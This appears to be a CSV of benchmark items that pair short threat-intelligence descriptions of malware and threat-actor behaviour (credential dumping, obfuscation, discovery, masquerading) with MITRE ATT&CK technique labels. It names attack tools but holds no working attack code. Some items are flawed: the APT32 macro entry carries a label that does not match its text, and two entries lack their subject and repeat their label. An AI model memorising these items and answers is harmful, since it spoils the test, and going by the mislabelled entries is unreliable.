Nefilim operators use the MEGAsync application to exfiltrate data to cloud storage. MEGAsync application synchronizes folders between the infected computer and an adversary-controlled MEGA Cloud Drive.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
"In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from remote servers.",['T1586.001 - Social Media Accounts'],eval_config
"The malware changes the file Created, Modified, and Accessed times of all of its dropped copies to the Last Modified time of ntdll.dll. To bypass the “File Downloaded from the Internet” warning, the malware removes the :Zone.Identifier flag using DeleteFile API, as shown in Figure 9.",['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],eval_config
"Exploit code that downloads a payload (such as malicious application) will not set a quarantine attribute (or can remove it), thus will not trigger Gatekeeper",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],eval_config
"APT28 added ""junk data"" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a ""junk length"" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.",['T1001.001 - Junk Data'],eval_config
BendyBear has used byte randomization to obscure its behavior.,['T1001.001 - Junk Data'],eval_config
Mori has obfuscated the FML.dll with 200MB of junk data.,['T1001.001 - Junk Data'],eval_config
ZeroT has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.,['T1001.002 - Data Obfuscation via Steganography'],eval_config
"APT34 has dumped credentials from victims in several ways, including by using open source tools Mimikatz and Lazagne, or by harvesting credentials when users log into Outlook Web Access.",['T1003 - OS Credential Dumping'],eval_config
Tonto Team has used a variety of credential dumping tools.,['T1003 - OS Credential Dumping'],eval_config
APT28 regularly deploys both publicly available (ex: Mimikatz) and custom password retrieval tools on victims. They have also dumped the LSASS process memory using the MiniDump function.,['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
"APT3 has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument ""dig.""",['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
Bad Rabbit has used Mimikatz to harvest credentials from the victim's machine.,['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
Empire contains an implementation of Mimikatz to gather credentials from memory.,['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
FIN6 has used Windows Credential Editor for credential dumping.,['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
"Ke3chang has dumped credentials, including by using Mimikatz.",['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
"Leviathan has used publicly available tools to dump password hashes, including ProcDump and WCE.",['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
Lslsass can dump active logon session password hashes from the lsass process.,['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems.,['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
"Olympic Destroyer contains a module that tries to obtain credentials from LSASS, similar to Mimikatz. These credentials are used with PsExec and Windows Management Instrumentation to help the malware propagate itself across a network.",['T1003.001 - OS Credential Dumping: LSASS Memory'],eval_config
Dragonfly 2.0 dropped and executed SecretsDump to dump password hashes.,"['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",eval_config
"GALLIUM used ""reg"" commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.",['T1003.002 - OS Credential Dumping: Security Account Manager'],eval_config
"IceApple's Credential Dumper module can dump encrypted password hashes from SAM registry keys, including `HKLM\SAM\SAM\Domains\Account\F` and `HKLM\SAM\SAM\Domains\Account\Users\*\V`.",['T1003.002 - OS Credential Dumping: Security Account Manager'],eval_config
APT28 has used the ntdsutil.exe utility to export the Active Directory database for credential access.,['T1003.003 - OS Credential Dumping: NTDS'],eval_config
Dragonfly 2.0 dropped and executed SecretsDump to dump password hashes. They also obtained ntds.dit from domain controllers.,['T1003.003 - OS Credential Dumping: NTDS'],eval_config
FIN6 has used Metasploit’s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database.,"['T1003.003 - OS Credential Dumping: NTDS', 'T1087.002 - Account Discovery: Domain Account']",eval_config
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA.",['T1003.004 - OS Credential Dumping: LSA Secrets'],eval_config
Pupy can use Lazagne for harvesting credentials.,"['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",eval_config
gsecdump can dump LSA secrets.,['T1003.004 - OS Credential Dumping: LSA Secrets'],eval_config
"During Operation Wocao, threat actors used Mimikatz's DCSync to dump credentials from the memory of the targeted system.",['T1003.006 - OS Credential Dumping: DCSync'],eval_config
APT41 has uploaded files and data from a compromised host.,['T1005 - Data from Local System'],eval_config
Amadey can collect information from a compromised host.,['T1005 - Data from Local System'],eval_config
Andariel has collected large numbers of files from compromised network systems for later extraction.,['T1005 - Data from Local System'],eval_config
BlackMould can copy files on a compromised host.,['T1005 - Data from Local System'],eval_config
BoxCaon can upload files from a compromised host.,['T1005 - Data from Local System'],eval_config
CreepyDrive can upload files to C2 from victim machines.,['T1005 - Data from Local System'],eval_config
Crimson can collect information from a compromised host.,['T1005 - Data from Local System'],eval_config
Cryptoistic can retrieve files from the local file system.,['T1005 - Data from Local System'],eval_config
Dark Caracal collected complete contents of the 'Pictures' folder from compromised Windows systems.,['T1005 - Data from Local System'],eval_config
EnvyScout can collect sensitive NTLM material from a compromised host.,['T1005 - Data from Local System'],eval_config
FIN6 has collected and exfiltrated payment card data from compromised systems.,['T1005 - Data from Local System'],eval_config
FatDuke can copy files and directories from a compromised host.,['T1005 - Data from Local System'],eval_config
FoggyWeb can retrieve configuration data from a compromised AD FS server.,['T1005 - Data from Local System'],eval_config
Fox Kitten has searched local system resources to access sensitive documents.,['T1005 - Data from Local System'],eval_config
"Inception used a file hunting plugin to collect .txt, .pdf, .xls or .doc files from the infected host.",['T1005 - Data from Local System'],eval_config
MarkiRAT can upload data from the victim's machine to the C2 server.,['T1005 - Data from Local System'],eval_config
Mis-Type has collected files and data from a compromised host.,['T1005 - Data from Local System'],eval_config
Octopus can exfiltrate files from the system using a documents collector tool.,['T1005 - Data from Local System'],eval_config
Pasam creates a backdoor through which remote attackers can retrieve files.,['T1005 - Data from Local System'],eval_config
"QakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.",['T1005 - Data from Local System'],eval_config
Rover searches for files on local drives based on a predefined list of file extensions.,['T1005 - Data from Local System'],eval_config
SpicyOmelette has collected data and other information from a compromised host.,['T1005 - Data from Local System'],eval_config
UNC2452 extracted files from compromised networks.,['T1005 - Data from Local System'],eval_config
USBferry can collect information from an air-gapped host machine.,['T1005 - Data from Local System'],eval_config
Wevtutil can be used to export events from a specific log.,['T1005 - Data from Local System'],eval_config
GeminiDuke collects information on programs and services on the victim that are configured to automatically run at startup.,['T1007 - System Service Discovery'],eval_config
InvisiMole can obtain running services on the victim.,['T1007 - System Service Discovery'],eval_config
Ixeshe can list running services.,['T1007 - System Service Discovery'],eval_config
PoshC2 can enumerate service and service permission information.,['T1007 - System Service Discovery'],eval_config
SUNBURST collected a list of service names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.,['T1007 - System Service Discovery'],eval_config
SombRAT can enumerate services on a victim machine.,['T1007 - System Service Discovery'],eval_config
"Sykipot may use ""net start"" to display running services.",['T1007 - System Service Discovery'],eval_config
Tasklist can be used to discover services running on a system.,['T1007 - System Service Discovery'],eval_config
TeamTNT has searched for services such as Alibaba Cloud Security's aliyun service and BMC Helix Cloud Security's bmc-agent service in order to disable them.,['T1007 - System Service Discovery'],eval_config
Derusbi uses a backup communication method with an HTTP beacon.,['T1008 - Fallback Channels'],eval_config
"Lazarus Group malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.",['T1008 - Fallback Channels'],eval_config
Mythic can use a list of C2 URLs as fallback mechanisms in case one IP or domain gets blocked.,['T1008 - Fallback Channels'],eval_config
HEXANE has used a PowerShell-based keylogging tool to capture the window title.,['T1010 - Application Window Discovery'],eval_config
Remexi has a command to capture active windows on the machine and retrieve window titles.,['T1010 - Application Window Discovery'],eval_config
SILENTTRINITY can enumerate the active Window during keylogging through execution of `GetActiveWindowTitle`.,['T1010 - Application Window Discovery'],eval_config
"Flame has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.",['T1011.001 - Exfiltration Over Bluetooth'],eval_config
Bisonal has used the RegQueryValueExA function to retrieve proxy information in the Registry.,['T1012 - Query Registry'],eval_config
Carbon enumerates values in the Registry.,['T1012 - Query Registry'],eval_config
FinFisher queries Registry values as part of its anti-sandbox checks.,['T1012 - Query Registry'],eval_config
Fox Kitten has accessed Registry hives ntuser.dat and UserClass.dat.,['T1012 - Query Registry'],eval_config
"LiteDuke can query the Registry to check for the presence of ""HKCU\Software\KasperskyLab"".",['T1012 - Query Registry'],eval_config
Saint Bot has used `check_registry_keys` as part of its environmental checks.,['T1012 - Query Registry'],eval_config
HTRAN can install a rootkit to hide network connections from the host OS.,['T1014 - Rootkit'],eval_config
Hildegard has modified /etc/ld.so.preload to overwrite readdir() and readdir64().,['T1014 - Rootkit'],eval_config
TeamTNT has used rootkits such as the open-source Diamorphine rootkit and their custom bots to hide cryptocurrency mining activities on the machine.,['T1014 - Rootkit'],eval_config
starts a rootkit from a malicious file dropped to disk.,"['T1014 - Rootkit', 'T1014 - Rootkit']",eval_config
Anchor can determine the public IP and location of a compromised host.,['T1016 - System Network Configuration Discovery'],eval_config
"Aria-body has the ability to identify the location, public IP address, and domain name on a compromised host.",['T1016 - System Network Configuration Discovery'],eval_config
Avaddon can collect the external IP address of the victim.,['T1016 - System Network Configuration Discovery'],eval_config
Avenger can identify the domain of the compromised host.,['T1016 - System Network Configuration Discovery'],eval_config
BLUELIGHT can collect IP information from the victim’s machine.,['T1016 - System Network Configuration Discovery'],eval_config
Chrommme can enumerate the IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],eval_config
CreepySnail can use `getmac` and `Get-NetIPAddress` to enumerate network settings.,['T1016 - System Network Configuration Discovery'],eval_config
EKANS can determine the domain of a compromised host.,['T1016 - System Network Configuration Discovery'],eval_config
"Frankenstein has enumerated hosts, looking for the public IP address of the system.",['T1016 - System Network Configuration Discovery'],eval_config
Green Lambert can obtain proxy information from a victim's machine using system environment variables.,['T1016 - System Network Configuration Discovery'],eval_config
HEXANE has used Ping and `tracert` for network discovery.,['T1016 - System Network Configuration Discovery'],eval_config
"Ke3chang has performed local network configuration discovery using ""ipconfig"".",['T1016 - System Network Configuration Discovery'],eval_config
Kessel has collected the DNS address of the infected host.,['T1016 - System Network Configuration Discovery'],eval_config
Kevin can collect the MAC address and other information from a victim machine using `ipconfig/all`.,['T1016 - System Network Configuration Discovery'],eval_config
MuddyWater has used malware to collect the victim’s IP address and domain name.,['T1016 - System Network Configuration Discovery'],eval_config
"Mustang Panda has used ""ipconfig"" and ""arp"" to determine network configuration information.",['T1016 - System Network Configuration Discovery'],eval_config
Octopus can collect the host IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],eval_config
"PLAINTEE uses the ""ipconfig /all"" command to gather the victim’s IP address.",['T1016 - System Network Configuration Discovery'],eval_config
PowerDuke has a command to get the victim's domain and NetBIOS name.,['T1016 - System Network Configuration Discovery'],eval_config
PowerShower has the ability to identify the current Windows domain of the infected host.,['T1016 - System Network Configuration Discovery'],eval_config
"QuasarRAT has the ability to enumerate the Wide Area Network (WAN) IP through requests to ip-api[.]com, freegeoip[.]net, or api[.]ipify[.]org observed with user-agent string `Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0`.",['T1016 - System Network Configuration Discovery'],eval_config
"SUNBURST collected all network interface MAC addresses that are up and not loopback devices, as well as IP address, DHCP configuration, and domain information.",['T1016 - System Network Configuration Discovery'],eval_config
StrongPity can identify the IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],eval_config
"Sykipot may use ""ipconfig /all"" to gather system network configuration details.",['T1016 - System Network Configuration Discovery'],eval_config
WellMess can identify the IP address and user domain on the target machine.,['T1016 - System Network Configuration Discovery'],eval_config
down_new has the ability to identify the MAC address of a compromised host.,['T1016 - System Network Configuration Discovery'],eval_config
iKitten will look for the current IP address.,['T1016 - System Network Configuration Discovery'],eval_config
More_eggs has used HTTP GET requests to check internet connectivity.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],eval_config
"CrackMapExec can discover active IP addresses, along with the machine name, within a targeted network.",['T1018 - Remote System Discovery'],eval_config
FunnyDream can collect information about hosts on the victim network.,['T1018 - Remote System Discovery'],eval_config
Rocke has looked for IP addresses in the known_hosts file on the infected system and attempted to SSH into them.,['T1018 - Remote System Discovery'],eval_config
Shamoon scans the C-class subnet of the IPs on the victim's interfaces.,['T1018 - Remote System Discovery'],eval_config
Attor has a file uploader plugin that automatically exfiltrates the collected data and log files to the C2 server.,['T1020 - Automated Exfiltration'],eval_config
Ke3chang has performed  frequent and scheduled data exfiltration from compromised networks.,['T1020 - Automated Exfiltration'],eval_config
Machete’s collected files are exfiltrated automatically to remote servers.,['T1020 - Automated Exfiltration'],eval_config
Tropic Trooper has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.,['T1020 - Automated Exfiltration'],eval_config
USBStealer automatically exfiltrates collected files via removable media when an infected device connects to an air-gapped victim machine after initially being connected to an internet-enabled victim machine.,['T1020 - Automated Exfiltration'],eval_config
RemoteCMD can execute commands remotely by creating a new service on the remote system .,['T1021 - Remote Services'],eval_config
Stuxnet can propagate via peer-to-peer communication and updates using RPC.,['T1021 - Remote Services'],eval_config
"APT39 has been seen using RDP for lateral movement and persistence, in some cases employing the rdpwinst tool for mangement of multiple sessions.",['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
"During C0015, the threat actors used RDP to access specific network hosts of interest.",['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
Koadic can enable remote desktop on the victim's machine.,['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
Pysa has laterally moved using RDP connections.,['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
SDBbot has the ability to use RDP to connect to victim's machines.,['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
ZxShell has remote desktop functionality.,['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
APT28 has mapped network drives using Net and administrator credentials.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
APT29 has used administrative accounts to connect over SMB to targeted users.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
APT32 used Net to use Windows' hidden network shares to copy their tools to remote machines for execution.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
Kwampirs copies itself over network shares to move laterally on a victim network.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
Ryuk has used the C$ network share for lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
"Empire can utilize ""Invoke-DCOM"" to leverage remote COM execution for lateral movement.",['T1021.003 - Remote Services: Distributed Component Object Model'],eval_config
Fox Kitten has used the PuTTY and Plink tools for lateral movement.,['T1021.004 - Remote Services: SSH'],eval_config
Rocke has spread its coinminer via SSH.,['T1021.004 - Remote Services: SSH'],eval_config
Proton uses VNC to connect into systems.,['T1021.005 - Remote Services:VNC'],eval_config
WarzoneRAT has the ability of performing remote desktop access via a VNC console.,['T1021.005 - Remote Services:VNC'],eval_config
Chimera has used WinRM for lateral movement.,['T1021.006 - Remote Services: Windows Remote Management'],eval_config
Crimson contains a module to collect data from removable drives.,['T1025 - Data from Removable Media'],eval_config
Crutch can monitor removable drives and exfiltrate files matching a given extension list.,['T1025 - Data from Removable Media'],eval_config
A version of XTunnel introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.,['T1027 - Obfuscated Files or Information'],eval_config
Aquatic Panda has encoded commands in Base64.,['T1027 - Obfuscated Files or Information'],eval_config
CARROTBALL has used a custom base64 alphabet to decode files.,['T1027 - Obfuscated Files or Information'],eval_config
CORESHELL obfuscates strings using a custom stream cipher.,['T1027 - Obfuscated Files or Information'],eval_config
Cardinal RAT encodes many of its artifacts and is encrypted (AES-128) when downloaded.,['T1027 - Obfuscated Files or Information'],eval_config
Chrommme can encrypt sections of its code to evade detection.,['T1027 - Obfuscated Files or Information'],eval_config
"Darkhotel has obfuscated code using RC4, XOR, and RSA.",['T1027 - Obfuscated Files or Information'],eval_config
"During Operation Wocao, threat actors executed PowerShell commands which were encoded or compressed using Base64, zlib, and XOR.",['T1027 - Obfuscated Files or Information'],eval_config
ECCENTRICBANDWAGON has encrypted strings with RC4.,['T1027 - Obfuscated Files or Information'],eval_config
"FinFisher is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.",['T1027 - Obfuscated Files or Information'],eval_config
Fox Kitten has base64 encoded scripts and payloads to avoid detection.,['T1027 - Obfuscated Files or Information'],eval_config
HEXANE has used Base64-encoded scripts.,['T1027 - Obfuscated Files or Information'],eval_config
Hancitor has used Base64 to encode malicious links. Hancitor has also delivered compressed payloads in ZIP files to victims.,['T1027 - Obfuscated Files or Information'],eval_config
Heyoka Backdoor can encrypt its payload.,['T1027 - Obfuscated Files or Information'],eval_config
Honeybee drops files with base64-encoded data.,['T1027 - Obfuscated Files or Information'],eval_config
Hydraq uses basic obfuscation in the form of spaghetti code.,['T1027 - Obfuscated Files or Information'],eval_config
"IronNetInjector can obfuscate variable names, encrypt strings, as well as base64 encode and Rijndael encrypt payloads.",['T1027 - Obfuscated Files or Information'],eval_config
Kwampirs downloads additional files that are base64-encoded and encrypted with another cipher.,['T1027 - Obfuscated Files or Information'],eval_config
"Magic Hound malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.",['T1027 - Obfuscated Files or Information'],eval_config
Matryoshka obfuscates API function names using a substitute cipher combined with Base64 encoding.,['T1027 - Obfuscated Files or Information'],eval_config
"NETWIRE has used a custom obfuscation algorithm to hide strings including Registry keys, APIs, and DLL names.",['T1027 - Obfuscated Files or Information'],eval_config
"Netwalker's PowerShell script has been obfuscated with multiple layers including base64 and hexadecimal encoding and XOR-encryption, as well as obfuscated PowerShell functions and variables. Netwalker's DLL has also been embedded within the PowerShell script in hex format.",['T1027 - Obfuscated Files or Information'],eval_config
"OilRig has encrypted and encoded data in its malware, including by using base64.",['T1027 - Obfuscated Files or Information'],eval_config
OopsIE uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. OopsIE also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.,['T1027 - Obfuscated Files or Information'],eval_config
Out1 has the ability to encode data.,['T1027 - Obfuscated Files or Information'],eval_config
PUNCHTRACK is loaded and executed by a highly obfuscated launcher.,['T1027 - Obfuscated Files or Information'],eval_config
Pandora has the ability to compress stings with QuickLZ.,['T1027 - Obfuscated Files or Information'],eval_config
PcShare has been encrypted with XOR using different 32-long Base16 strings and compressed with LZW algorithm.,['T1027 - Obfuscated Files or Information'],eval_config
Pillowmint has been compressed and stored within a registry key. Pillowmint has also obfuscated the AES key used for encryption.,['T1027 - Obfuscated Files or Information'],eval_config
PipeMon modules are stored encrypted on disk.,['T1027 - Obfuscated Files or Information'],eval_config
"PyDCrypt has been compiled and encrypted with PyInstaller, specifically using the --key flag during the build phase.",['T1027 - Obfuscated Files or Information'],eval_config
RCSession can compress and obfuscate its strings to evade detection on a compromised host.,['T1027 - Obfuscated Files or Information'],eval_config
Raindrop encrypted its payload using a simple XOR algorithm with a single-byte key.,['T1027 - Obfuscated Files or Information'],eval_config
Remexi obfuscates its configuration data with XOR.,['T1027 - Obfuscated Files or Information'],eval_config
StrongPity has used encrypted strings in its dropper component.,['T1027 - Obfuscated Files or Information'],eval_config
TINYTYPHON has used XOR with 0x90 to obfuscate its configuration file.,['T1027 - Obfuscated Files or Information'],eval_config
TRITON encoded the two inject.bin and imain.bin payloads.,['T1027 - Obfuscated Files or Information'],eval_config
The Clambling executable has been obfuscated when dropped on a compromised host.,['T1027 - Obfuscated Files or Information'],eval_config
The DustySky dropper uses a function to obfuscate the name of functions and other parts of the malware.,['T1027 - Obfuscated Files or Information'],eval_config
The payload of CozyCar is encrypted with simple XOR with a rotating key. The CozyCar configuration file has been encrypted with RC4 keys.,['T1027 - Obfuscated Files or Information'],eval_config
"Turla has used encryption (including salted 3DES via PowerSploit's ""Out-EncryptedScript.ps1""), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.",['T1027 - Obfuscated Files or Information'],eval_config
Windshift has used string encoding with floating point calculations.,['T1027 - Obfuscated Files or Information'],eval_config
YAHOYAH encrypts its configuration file using a simple algorithm.,['T1027 - Obfuscated Files or Information'],eval_config
ZxxZ has been encoded to avoid detection from static analysis tools.,['T1027 - Obfuscated Files or Information'],eval_config
FinFisher contains junk code in its functions in an effort to confuse disassembly programs.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
Grandoreiro has added BMP images to the resources section of its Portable Executable (PE) file increasing each binary to at least 300MB in size.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
QakBot can use large file sizes to evade detection.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
"Rifdoor has added four additional bytes of data upon launching, then saved the changed version as ""C:\ProgramData\Initech\Initech.exe"".",['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
SamSam has used garbage code to pad some of its malware components.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
"yty contains junk code in its binary, likely to confuse malware analysts.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
AppleSeed has used UPX packers for its payload DLL.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
Cuba has a packed payload when delivered.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
Ember Bear has packed malware to help avoid detection.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
Emotet has used custom packers to protect its payloads.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
GoldMax has been packed for obfuscation.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
KONNI has been packed for obfuscation.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
Lazarus Group has used Themida to pack at least two separate backdoor implants.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
SysUpdate can use packed binaries.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
Torisma has been packed with Iz4 compression.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
ZIRCONIUM has used multi-stage packers for exploit code.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
"Okrum's payload is encrypted and embedded within its loader, or within a legitimate PNG file.",['T1027.003 - Steganography'],eval_config
Cobalt Strike includes a capability to modify the Beacon payload to eliminate known signatures or unpacking methods.,['T1027.005 - Indicator Removal from Tools'],eval_config
"Dipsind can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.",['T1029 - Scheduled Transfer'],eval_config
Kazuar can sleep for a specific time and be set to communicate at specific intervals.,['T1029 - Scheduled Transfer'],eval_config
ShimRat can sleep when instructed to do so by the C2.,['T1029 - Scheduled Transfer'],eval_config
TinyTurla contacts its C2 based on a scheduled timing set in its configuration.,['T1029 - Scheduled Transfer'],eval_config
Carbanak exfiltrates data in compressed chunks if a message is larger than 4096 bytes .,['T1030 - Data Transfer Size Limits'],eval_config
ObliqueRAT can break large files of interest into smaller chunks to prepare them for exfiltration.,['T1030 - Data Transfer Size Limits'],eval_config
Threat Group-3390 actors have split RAR files for exfiltration into parts.,['T1030 - Data Transfer Size Limits'],eval_config
APT28 has queried information on machines to determine the current user or system owner .,['T1033 - System Owner/User Discovery'],eval_config
"APT38 has identified primary users, currently logged in users, sets of users that commonly use a system, or inactive users.",['T1033 - System Owner/User Discovery'],eval_config
BLUELIGHT can collect the username on a compromised host.,['T1033 - System Owner/User Discovery'],eval_config
"Exaramel for Linux can run ""whoami"" to identify the system owner.",['T1033 - System Owner/User Discovery'],eval_config
Goopy has the ability to enumerate the infected system's user name.,['T1033 - System Owner/User Discovery'],eval_config
Grandoreiro can collect the username from the victim's machine.,['T1033 - System Owner/User Discovery'],eval_config
GrimAgent can identify the user id on a target machine.,['T1033 - System Owner/User Discovery'],eval_config
JPIN can obtain the victim user name.,['T1033 - System Owner/User Discovery'],eval_config
Kazuar gathers information on users.,['T1033 - System Owner/User Discovery'],eval_config
Lucifer has the ability to identify the username on a compromised host.,['T1033 - System Owner/User Discovery'],eval_config
Magic Hound malware has obtained the victim username and sent it to the C2 server.,['T1033 - System Owner/User Discovery'],eval_config
MechaFlounder has the ability to identify the username and hostname on a compromised host.,['T1033 - System Owner/User Discovery'],eval_config
Metamorfo has collected the username from the victim's machine.,['T1033 - System Owner/User Discovery'],eval_config
MoonWind obtains the victim username.,['T1033 - System Owner/User Discovery'],eval_config
Pupy can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.,['T1033 - System Owner/User Discovery'],eval_config
Reaver collects the victim's username.,['T1033 - System Owner/User Discovery'],eval_config
RogueRobin collects the victim’s username and whether that user is an admin.,['T1033 - System Owner/User Discovery'],eval_config
S-Type has run tests to determine the privilege level of the compromised user.,['T1033 - System Owner/User Discovery'],eval_config
SHARPSTATS has the ability to identify the username on the compromised host.,['T1033 - System Owner/User Discovery'],eval_config
Saint Bot can collect the username from a compromised host.,['T1033 - System Owner/User Discovery'],eval_config
Sidewinder has used tools to identify the user of a compromised host.,['T1033 - System Owner/User Discovery'],eval_config
"SpeakUp uses the ""whoami"" command.",['T1033 - System Owner/User Discovery'],eval_config
Sys10 collects the account name of the logged-in user and sends it to the C2.,['T1033 - System Owner/User Discovery'],eval_config
Threat Group-3390 has used `whoami` to collect system user information.,['T1033 - System Owner/User Discovery'],eval_config
"Tropic Trooper used ""letmein"" to scan for saved usernames on the target system.",['T1033 - System Owner/User Discovery'],eval_config
Unknown Logger can obtain information about the victim usernames.,['T1033 - System Owner/User Discovery'],eval_config
VERMIN gathers the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],eval_config
Various Lazarus Group malware enumerates logged-on users.,['T1033 - System Owner/User Discovery'],eval_config
WellMess can collect the username on the victim machine to send to C2.,['T1033 - System Owner/User Discovery'],eval_config
can collect the victim user name.,"['T1033 - System Owner/User Discovery', 'T1033 - System Owner/User Discovery']",eval_config
APT32 has disguised a Cobalt Strike beacon as a Flash Installer.,['T1036 - Masquerading'],eval_config
DarkWatchman has used an icon mimicking a text file to mask a malicious executable.,['T1036 - Masquerading'],eval_config
"During Operation Honeybee, the threat actors modified the MaoCheng dropper so its icon appeared as a Word document.",['T1036 - Masquerading'],eval_config
Ramsay has masqueraded as a JPG image file.,['T1036 - Masquerading'],eval_config
TeamTNT has disguised their scripts with docker-related file names.,['T1036 - Masquerading'],eval_config
The Dacls Mach-O binary has been disguised as a .nib file.,['T1036 - Masquerading'],eval_config
The TrickBot downloader has used an icon to appear as a Microsoft Word document.,['T1036 - Masquerading'],eval_config
WindTail has used icons mimicking MS Office files to mask payloads.,['T1036 - Masquerading'],eval_config
"Windshift has used icons mimicking MS Office files to mask malicious executables. Windshift has also attempted to hide executables by changing the file extension to "".scr"" to mimic Windows screensavers.",['T1036 - Masquerading'],eval_config
"yty contains several references to football (including ""football,"" ""score,"" ""ball,"" and ""loose"") in a likely attempt to disguise its traffic.",['T1036 - Masquerading'],eval_config
Regin stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.,['T1036.001 - Invalid Code Signature'],eval_config
The NETWIRE client has been signed by fake and invalid digital certificates.,['T1036.001 - Invalid Code Signature'],eval_config
GALLIUM used a renamed cmd.exe file to evade detection.,['T1036.003 - Masquerading: Rename System Utilities'],eval_config
"APT32 has used hidden or non-printing characters to help masquerade service names, such as appending a Unicode no-break space character to a legitimate service name. APT32 has also impersonated the legitimate Flash installer file name ""install_flashplayer.exe"".",['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
BackdoorDiplomacy has disguised their backdoor droppers with naming conventions designed to blend into normal operations.,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
InvisiMole has attempted to disguise itself by registering under a seemingly legitimate service name.,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
KONNI has pretended to be the xmlProv Network Provisioning service.,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
"Nidiran can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.",['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
RDAT has used Windows Video Service as a name for malicious services.,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
"SLOTHFULMEDIA has named a service it establishes on victim machines as ""TaskFrame"" to hide its malicious purpose.",['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
StrongPity has named services to appear legitimate.,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
Turian can disguise as a legitimate service to blend into normal operations.,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
APT41 attempted to masquerade their files as popular anti-virus software.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
